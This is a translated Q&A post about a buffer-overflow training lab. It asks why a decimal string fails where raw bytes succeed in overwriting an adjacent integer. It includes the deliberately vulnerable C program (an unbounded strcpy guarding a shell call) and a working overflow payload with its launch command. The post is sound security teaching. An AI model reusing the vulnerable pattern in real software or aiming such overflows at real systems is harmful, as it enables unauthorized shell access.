为什么整数可以存储十六进制值但不能以十进制存储相同的值?

Why can integer store a hex value but cannot store the same value in decimal?

我最近通过导致其 char 数组溢出到另一个变量而成功地利用了 C 可执行文件。我通过将 exploit1.py 的输出管道输入命令行来完成此操作,该命令行被 lab2C 接受为参数。这是我使用的命令:./lab2C.exe "$(python /tmp/exploit1.py)"。最终的 exploit1.py 文件如下所示:

exploit1.py(最终):

def main():

     print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

我读过乔恩·埃里克森 (Jon Erickson) 撰写的 黑客攻击的艺术,您可以使用命令行将十六进制字节代码通过管道传输到文件中,所以我试了一下我成功调用了 shell() 函数。

然而,有一件事我仍然感到困惑,即为什么在 0xdeadbeef 的十进制版本中作为参数的管道不起作用。这是我试图将 in 的输出通过管道传输到命令行的原始文件:

exploit1.py(原文):

def main():

    print("aaabbbcccdddeee3735928559")

main()

当我这样做时,命令行返回以下内容:

Not authenticated.
set_me was 892548915

为什么这不起作用?是不是整数容器装不下0xdeadbeef的十进制值太大了?如果是这样,为什么整数可以接受等效的十六进制字节码?

规格-架构:i686; CPU 操作模式:32 位、64 位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04

(这里有lab2C供参考): lab2C:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
    printf("You did it.\n");
    system("/bin/sh");
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

0xdeadbeef等于3735928559,但"3735928559"等于

>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']

"\x33\x37\x33..."

处理这个漏洞的是整数的表示被字符串的表示覆盖,而不是字符串的解析值。